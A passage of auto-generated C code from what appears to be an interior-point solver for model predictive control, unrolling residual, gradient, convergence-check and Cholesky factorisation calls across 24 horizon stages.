controlMPC_LA_DIAG_QUADFCN_2(params->H12, params->f12, controlMPC_z11, controlMPC_grad_cost11, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H13, params->f13, controlMPC_z12, controlMPC_grad_cost12, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H14, params->f14, controlMPC_z13, controlMPC_grad_cost13, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H15, params->f15, controlMPC_z14, controlMPC_grad_cost14, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H16, params->f16, controlMPC_z15, controlMPC_grad_cost15, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H17, params->f17, controlMPC_z16, controlMPC_grad_cost16, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H18, params->f18, controlMPC_z17, controlMPC_grad_cost17, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H19, params->f19, controlMPC_z18, controlMPC_grad_cost18, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H20, params->f20, controlMPC_z19, controlMPC_grad_cost19, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H21, params->f21, controlMPC_z20, controlMPC_grad_cost20, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H22, params->f22, controlMPC_z21, controlMPC_grad_cost21, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H23, params->f23, controlMPC_z22, controlMPC_grad_cost22, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H24, params->f24, controlMPC_z23, controlMPC_grad_cost23, &info->pobj); info->res_eq = 0; info->dgap = 0; controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z00, controlMPC_D01, controlMPC_z01, controlMPC_c00, controlMPC_v00, controlMPC_re00, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z01, controlMPC_D01, controlMPC_z02, controlMPC_c01, controlMPC_v01, controlMPC_re01, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z02, controlMPC_D01, controlMPC_z03, controlMPC_c02, controlMPC_v02, controlMPC_re02, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z03, controlMPC_D01, controlMPC_z04, controlMPC_c03, controlMPC_v03, controlMPC_re03, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z04, controlMPC_D01, controlMPC_z05, controlMPC_c04, controlMPC_v04, controlMPC_re04, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z05, controlMPC_D01, controlMPC_z06, controlMPC_c05, controlMPC_v05, controlMPC_re05, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z06, controlMPC_D01, controlMPC_z07, controlMPC_c06, controlMPC_v06, controlMPC_re06, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z07, controlMPC_D01, controlMPC_z08, controlMPC_c07, controlMPC_v07, controlMPC_re07, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z08, controlMPC_D01, controlMPC_z09, controlMPC_c08, controlMPC_v08, controlMPC_re08, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z09, controlMPC_D01, controlMPC_z10, controlMPC_c09, controlMPC_v09, controlMPC_re09, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z10, controlMPC_D01, controlMPC_z11, controlMPC_c10, controlMPC_v10, controlMPC_re10, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z11, controlMPC_D01, controlMPC_z12, controlMPC_c11, controlMPC_v11, controlMPC_re11, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z12, controlMPC_D01, controlMPC_z13, controlMPC_c12, controlMPC_v12, controlMPC_re12, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z13, controlMPC_D01, controlMPC_z14, controlMPC_c13, controlMPC_v13, controlMPC_re13, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z14, controlMPC_D01, controlMPC_z15, controlMPC_c14, controlMPC_v14, controlMPC_re14, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z15, controlMPC_D01, controlMPC_z16, controlMPC_c15, controlMPC_v15, controlMPC_re15, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z16, controlMPC_D01, controlMPC_z17, controlMPC_c16, controlMPC_v16, controlMPC_re16, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z17, controlMPC_D01, controlMPC_z18, controlMPC_c17, controlMPC_v17, controlMPC_re17, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z18, controlMPC_D01, controlMPC_z19, controlMPC_c18, controlMPC_v18, controlMPC_re18, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z19, controlMPC_D01, controlMPC_z20, controlMPC_c19, controlMPC_v19, controlMPC_re19, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z20, controlMPC_D01, controlMPC_z21, controlMPC_c20, controlMPC_v20, controlMPC_re20, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z21, controlMPC_D01, controlMPC_z22, controlMPC_c21, controlMPC_v21, controlMPC_re21, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_C00, controlMPC_z22, controlMPC_D01, controlMPC_z23, controlMPC_c22, controlMPC_v22, controlMPC_re22, &info->dgap, &info->res_eq); controlMPC_LA_DENSE_MTVM_2_2(controlMPC_C00, controlMPC_v00, controlMPC_grad_eq00); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v01, controlMPC_D01, controlMPC_v00, controlMPC_grad_eq01); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v02, controlMPC_D01, controlMPC_v01, controlMPC_grad_eq02); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v03, controlMPC_D01, controlMPC_v02, controlMPC_grad_eq03); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v04, controlMPC_D01, controlMPC_v03, controlMPC_grad_eq04); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v05, controlMPC_D01, controlMPC_v04, controlMPC_grad_eq05); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v06, controlMPC_D01, controlMPC_v05, controlMPC_grad_eq06); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v07, controlMPC_D01, controlMPC_v06, controlMPC_grad_eq07); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v08, controlMPC_D01, controlMPC_v07, controlMPC_grad_eq08); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v09, controlMPC_D01, controlMPC_v08, controlMPC_grad_eq09); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v10, controlMPC_D01, controlMPC_v09, controlMPC_grad_eq10); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v11, controlMPC_D01, controlMPC_v10, controlMPC_grad_eq11); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v12, controlMPC_D01, controlMPC_v11, controlMPC_grad_eq12); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v13, controlMPC_D01, controlMPC_v12, controlMPC_grad_eq13); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v14, controlMPC_D01, controlMPC_v13, controlMPC_grad_eq14); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v15, controlMPC_D01, controlMPC_v14, controlMPC_grad_eq15); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v16, controlMPC_D01, controlMPC_v15, controlMPC_grad_eq16); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v17, controlMPC_D01, controlMPC_v16, controlMPC_grad_eq17); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v18, controlMPC_D01, controlMPC_v17, controlMPC_grad_eq18); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v19, controlMPC_D01, controlMPC_v18, controlMPC_grad_eq19); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v20, controlMPC_D01, controlMPC_v19, controlMPC_grad_eq20); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v21, controlMPC_D01, controlMPC_v20, controlMPC_grad_eq21); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_v22, controlMPC_D01, controlMPC_v21, controlMPC_grad_eq22); controlMPC_LA_DIAGZERO_MTVM_2_2(controlMPC_D01, controlMPC_v22, controlMPC_grad_eq23); info->res_ineq = 0; controlMPC_LA_VSUBADD3_2(params->lb1, controlMPC_z00, controlMPC_lbIdx00, controlMPC_llb00, controlMPC_slb00, controlMPC_rilb00, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z00, controlMPC_ubIdx00, params->ub1, controlMPC_lub00, controlMPC_sub00, controlMPC_riub00, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb2, controlMPC_z01, controlMPC_lbIdx01, controlMPC_llb01, controlMPC_slb01, controlMPC_rilb01, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z01, controlMPC_ubIdx01, params->ub2, controlMPC_lub01, controlMPC_sub01, controlMPC_riub01, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb3, controlMPC_z02, controlMPC_lbIdx02, controlMPC_llb02, controlMPC_slb02, controlMPC_rilb02, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z02, controlMPC_ubIdx02, params->ub3, controlMPC_lub02, controlMPC_sub02, controlMPC_riub02, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb4, controlMPC_z03, controlMPC_lbIdx03, controlMPC_llb03, controlMPC_slb03, controlMPC_rilb03, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z03, controlMPC_ubIdx03, params->ub4, controlMPC_lub03, controlMPC_sub03, controlMPC_riub03, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb5, controlMPC_z04, controlMPC_lbIdx04, controlMPC_llb04, controlMPC_slb04, controlMPC_rilb04, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z04, controlMPC_ubIdx04, params->ub5, controlMPC_lub04, controlMPC_sub04, controlMPC_riub04, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb6, controlMPC_z05, controlMPC_lbIdx05, controlMPC_llb05, controlMPC_slb05, controlMPC_rilb05, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z05, controlMPC_ubIdx05, params->ub6, controlMPC_lub05, controlMPC_sub05, controlMPC_riub05, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb7, controlMPC_z06, controlMPC_lbIdx06, controlMPC_llb06, controlMPC_slb06, controlMPC_rilb06, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z06, controlMPC_ubIdx06, params->ub7, controlMPC_lub06, controlMPC_sub06, controlMPC_riub06, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb8, controlMPC_z07, controlMPC_lbIdx07, controlMPC_llb07, controlMPC_slb07, controlMPC_rilb07, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z07, controlMPC_ubIdx07, params->ub8, controlMPC_lub07, controlMPC_sub07, controlMPC_riub07, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb9, controlMPC_z08, controlMPC_lbIdx08, controlMPC_llb08, controlMPC_slb08, controlMPC_rilb08, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z08, controlMPC_ubIdx08, params->ub9, controlMPC_lub08, controlMPC_sub08, controlMPC_riub08, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb10, controlMPC_z09, controlMPC_lbIdx09, controlMPC_llb09, controlMPC_slb09, controlMPC_rilb09, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z09, controlMPC_ubIdx09, params->ub10, controlMPC_lub09, controlMPC_sub09, controlMPC_riub09, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb11, controlMPC_z10, controlMPC_lbIdx10, controlMPC_llb10, controlMPC_slb10, controlMPC_rilb10, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z10, controlMPC_ubIdx10, params->ub11, controlMPC_lub10, controlMPC_sub10, controlMPC_riub10, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb12, controlMPC_z11, controlMPC_lbIdx11, controlMPC_llb11, controlMPC_slb11, controlMPC_rilb11, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z11, controlMPC_ubIdx11, params->ub12, controlMPC_lub11, controlMPC_sub11, controlMPC_riub11, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb13, controlMPC_z12, controlMPC_lbIdx12, controlMPC_llb12, controlMPC_slb12, controlMPC_rilb12, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z12, controlMPC_ubIdx12, params->ub13, controlMPC_lub12, controlMPC_sub12, controlMPC_riub12, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb14, controlMPC_z13, controlMPC_lbIdx13, controlMPC_llb13, controlMPC_slb13, controlMPC_rilb13, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z13, controlMPC_ubIdx13, params->ub14, controlMPC_lub13, controlMPC_sub13, controlMPC_riub13, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb15, controlMPC_z14, controlMPC_lbIdx14, controlMPC_llb14, controlMPC_slb14, controlMPC_rilb14, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z14, controlMPC_ubIdx14, params->ub15, controlMPC_lub14, controlMPC_sub14, controlMPC_riub14, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb16, controlMPC_z15, controlMPC_lbIdx15, controlMPC_llb15, controlMPC_slb15, controlMPC_rilb15, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z15, controlMPC_ubIdx15, params->ub16, controlMPC_lub15, controlMPC_sub15, controlMPC_riub15, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb17, controlMPC_z16, controlMPC_lbIdx16, controlMPC_llb16, controlMPC_slb16, controlMPC_rilb16, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z16, controlMPC_ubIdx16, params->ub17, controlMPC_lub16, controlMPC_sub16, controlMPC_riub16, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb18, controlMPC_z17, controlMPC_lbIdx17, controlMPC_llb17, controlMPC_slb17, controlMPC_rilb17, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z17, controlMPC_ubIdx17, params->ub18, controlMPC_lub17, controlMPC_sub17, controlMPC_riub17, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb19, controlMPC_z18, controlMPC_lbIdx18, controlMPC_llb18, controlMPC_slb18, controlMPC_rilb18, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z18, controlMPC_ubIdx18, params->ub19, controlMPC_lub18, controlMPC_sub18, controlMPC_riub18, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb20, controlMPC_z19, controlMPC_lbIdx19, controlMPC_llb19, controlMPC_slb19, controlMPC_rilb19, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z19, controlMPC_ubIdx19, params->ub20, controlMPC_lub19, controlMPC_sub19, controlMPC_riub19, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb21, controlMPC_z20, controlMPC_lbIdx20, controlMPC_llb20, controlMPC_slb20, controlMPC_rilb20, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z20, controlMPC_ubIdx20, params->ub21, controlMPC_lub20, controlMPC_sub20, controlMPC_riub20, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb22, controlMPC_z21, controlMPC_lbIdx21, controlMPC_llb21, controlMPC_slb21, controlMPC_rilb21, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z21, controlMPC_ubIdx21, params->ub22, controlMPC_lub21, controlMPC_sub21, controlMPC_riub21, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb23, controlMPC_z22, controlMPC_lbIdx22, controlMPC_llb22, controlMPC_slb22, controlMPC_rilb22, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z22, controlMPC_ubIdx22, params->ub23, controlMPC_lub22, controlMPC_sub22, controlMPC_riub22, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD3_2(params->lb24, controlMPC_z23, controlMPC_lbIdx23, controlMPC_llb23, controlMPC_slb23, controlMPC_rilb23, &info->dgap, &info->res_ineq); controlMPC_LA_VSUBADD2_2(controlMPC_z23, controlMPC_ubIdx23, params->ub24, controlMPC_lub23, controlMPC_sub23, controlMPC_riub23, &info->dgap, &info->res_ineq); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub00, controlMPC_sub00, controlMPC_riub00, controlMPC_llb00, controlMPC_slb00, controlMPC_rilb00, controlMPC_lbIdx00, controlMPC_ubIdx00, controlMPC_grad_ineq00, controlMPC_lubbysub00, controlMPC_llbbyslb00); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub01, controlMPC_sub01, controlMPC_riub01, controlMPC_llb01, controlMPC_slb01, controlMPC_rilb01, controlMPC_lbIdx01, controlMPC_ubIdx01, controlMPC_grad_ineq01, controlMPC_lubbysub01, controlMPC_llbbyslb01); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub02, controlMPC_sub02, controlMPC_riub02, controlMPC_llb02, controlMPC_slb02, controlMPC_rilb02, controlMPC_lbIdx02, controlMPC_ubIdx02, controlMPC_grad_ineq02, controlMPC_lubbysub02, controlMPC_llbbyslb02); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub03, controlMPC_sub03, controlMPC_riub03, controlMPC_llb03, controlMPC_slb03, controlMPC_rilb03, controlMPC_lbIdx03, controlMPC_ubIdx03, controlMPC_grad_ineq03, controlMPC_lubbysub03, controlMPC_llbbyslb03); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub04, controlMPC_sub04, controlMPC_riub04, controlMPC_llb04, controlMPC_slb04, controlMPC_rilb04, controlMPC_lbIdx04, controlMPC_ubIdx04, controlMPC_grad_ineq04, controlMPC_lubbysub04, controlMPC_llbbyslb04); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub05, controlMPC_sub05, controlMPC_riub05, controlMPC_llb05, controlMPC_slb05, controlMPC_rilb05, controlMPC_lbIdx05, controlMPC_ubIdx05, controlMPC_grad_ineq05, controlMPC_lubbysub05, controlMPC_llbbyslb05); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub06, controlMPC_sub06, controlMPC_riub06, controlMPC_llb06, controlMPC_slb06, controlMPC_rilb06, controlMPC_lbIdx06, controlMPC_ubIdx06, controlMPC_grad_ineq06, controlMPC_lubbysub06, controlMPC_llbbyslb06); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub07, controlMPC_sub07, controlMPC_riub07, controlMPC_llb07, controlMPC_slb07, controlMPC_rilb07, controlMPC_lbIdx07, controlMPC_ubIdx07, controlMPC_grad_ineq07, controlMPC_lubbysub07, controlMPC_llbbyslb07); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub08, controlMPC_sub08, controlMPC_riub08, controlMPC_llb08, controlMPC_slb08, controlMPC_rilb08, controlMPC_lbIdx08, controlMPC_ubIdx08, controlMPC_grad_ineq08, controlMPC_lubbysub08, controlMPC_llbbyslb08); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub09, controlMPC_sub09, controlMPC_riub09, controlMPC_llb09, controlMPC_slb09, controlMPC_rilb09, controlMPC_lbIdx09, controlMPC_ubIdx09, controlMPC_grad_ineq09, controlMPC_lubbysub09, controlMPC_llbbyslb09); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub10, controlMPC_sub10, controlMPC_riub10, controlMPC_llb10, controlMPC_slb10, controlMPC_rilb10, controlMPC_lbIdx10, controlMPC_ubIdx10, controlMPC_grad_ineq10, controlMPC_lubbysub10, controlMPC_llbbyslb10); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub11, controlMPC_sub11, controlMPC_riub11, controlMPC_llb11, controlMPC_slb11, controlMPC_rilb11, controlMPC_lbIdx11, controlMPC_ubIdx11, controlMPC_grad_ineq11, controlMPC_lubbysub11, controlMPC_llbbyslb11); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub12, controlMPC_sub12, controlMPC_riub12, controlMPC_llb12, controlMPC_slb12, controlMPC_rilb12, controlMPC_lbIdx12, controlMPC_ubIdx12, controlMPC_grad_ineq12, controlMPC_lubbysub12, controlMPC_llbbyslb12); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub13, controlMPC_sub13, controlMPC_riub13, controlMPC_llb13, controlMPC_slb13, controlMPC_rilb13, controlMPC_lbIdx13, controlMPC_ubIdx13, controlMPC_grad_ineq13, controlMPC_lubbysub13, controlMPC_llbbyslb13); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub14, controlMPC_sub14, controlMPC_riub14, controlMPC_llb14, controlMPC_slb14, controlMPC_rilb14, controlMPC_lbIdx14, controlMPC_ubIdx14, controlMPC_grad_ineq14, controlMPC_lubbysub14, controlMPC_llbbyslb14); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub15, controlMPC_sub15, controlMPC_riub15, controlMPC_llb15, controlMPC_slb15, controlMPC_rilb15, controlMPC_lbIdx15, controlMPC_ubIdx15, controlMPC_grad_ineq15, controlMPC_lubbysub15, controlMPC_llbbyslb15); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub16, controlMPC_sub16, controlMPC_riub16, controlMPC_llb16, controlMPC_slb16, controlMPC_rilb16, controlMPC_lbIdx16, controlMPC_ubIdx16, controlMPC_grad_ineq16, controlMPC_lubbysub16, controlMPC_llbbyslb16); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub17, controlMPC_sub17, controlMPC_riub17, controlMPC_llb17, controlMPC_slb17, controlMPC_rilb17, controlMPC_lbIdx17, controlMPC_ubIdx17, controlMPC_grad_ineq17, controlMPC_lubbysub17, controlMPC_llbbyslb17); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub18, controlMPC_sub18, controlMPC_riub18, controlMPC_llb18, controlMPC_slb18, controlMPC_rilb18, controlMPC_lbIdx18, controlMPC_ubIdx18, controlMPC_grad_ineq18, controlMPC_lubbysub18, controlMPC_llbbyslb18); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub19, controlMPC_sub19, controlMPC_riub19, controlMPC_llb19, controlMPC_slb19, controlMPC_rilb19, controlMPC_lbIdx19, controlMPC_ubIdx19, controlMPC_grad_ineq19, controlMPC_lubbysub19, controlMPC_llbbyslb19); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub20, controlMPC_sub20, controlMPC_riub20, controlMPC_llb20, controlMPC_slb20, controlMPC_rilb20, controlMPC_lbIdx20, controlMPC_ubIdx20, controlMPC_grad_ineq20, controlMPC_lubbysub20, controlMPC_llbbyslb20); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub21, controlMPC_sub21, controlMPC_riub21, controlMPC_llb21, controlMPC_slb21, controlMPC_rilb21, controlMPC_lbIdx21, controlMPC_ubIdx21, controlMPC_grad_ineq21, controlMPC_lubbysub21, controlMPC_llbbyslb21); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub22, controlMPC_sub22, controlMPC_riub22, controlMPC_llb22, controlMPC_slb22, controlMPC_rilb22, controlMPC_lbIdx22, controlMPC_ubIdx22, controlMPC_grad_ineq22, controlMPC_lubbysub22, controlMPC_llbbyslb22); controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_lub23, controlMPC_sub23, controlMPC_riub23, controlMPC_llb23, controlMPC_slb23, controlMPC_rilb23, controlMPC_lbIdx23, controlMPC_ubIdx23, controlMPC_grad_ineq23, controlMPC_lubbysub23, controlMPC_llbbyslb23); info->dobj = info->pobj - info->dgap; info->rdgap = info->pobj ? info->dgap / info->pobj : 1e6; if( info->rdgap < 0 ) info->rdgap = -info->rdgap; if( info->mu < controlMPC_SET_ACC_KKTCOMPL && (info->rdgap < controlMPC_SET_ACC_RDGAP || info->dgap < controlMPC_SET_ACC_KKTCOMPL) && info->res_eq < controlMPC_SET_ACC_RESEQ && info->res_ineq < controlMPC_SET_ACC_RESINEQ ){ exitcode = controlMPC_OPTIMAL; break; } if( info->it == controlMPC_SET_MAXIT ){ exitcode = controlMPC_MAXITREACHED; break; } controlMPC_LA_VVADD3_48(controlMPC_grad_cost, controlMPC_grad_eq, controlMPC_grad_ineq, controlMPC_rd); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H1, controlMPC_llbbyslb00, controlMPC_lbIdx00, controlMPC_lubbysub00, controlMPC_ubIdx00, controlMPC_Phi00); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi00, controlMPC_C00, controlMPC_V00); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi00, controlMPC_rd00, controlMPC_Lbyrd00); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H2, controlMPC_llbbyslb01, controlMPC_lbIdx01, controlMPC_lubbysub01, controlMPC_ubIdx01, controlMPC_Phi01); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi01, controlMPC_C00, controlMPC_V01); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi01, controlMPC_D01, controlMPC_W01); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W01, controlMPC_V01, controlMPC_Ysd01); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi01, controlMPC_rd01, controlMPC_Lbyrd01); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H3, controlMPC_llbbyslb02, controlMPC_lbIdx02, controlMPC_lubbysub02, controlMPC_ubIdx02, controlMPC_Phi02); controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_Phi02, controlMPC_C00, controlMPC_V02); controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_Phi02, controlMPC_D01, controlMPC_W02); controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_W02, controlMPC_V02, controlMPC_Ysd02); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi02, controlMPC_rd02, controlMPC_Lbyrd02); controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(params->H4, controlMPC_llbbyslb03, controlMPC_lbIdx03, controlMPC_lubbysub03, controlMPC_ubIdx03, 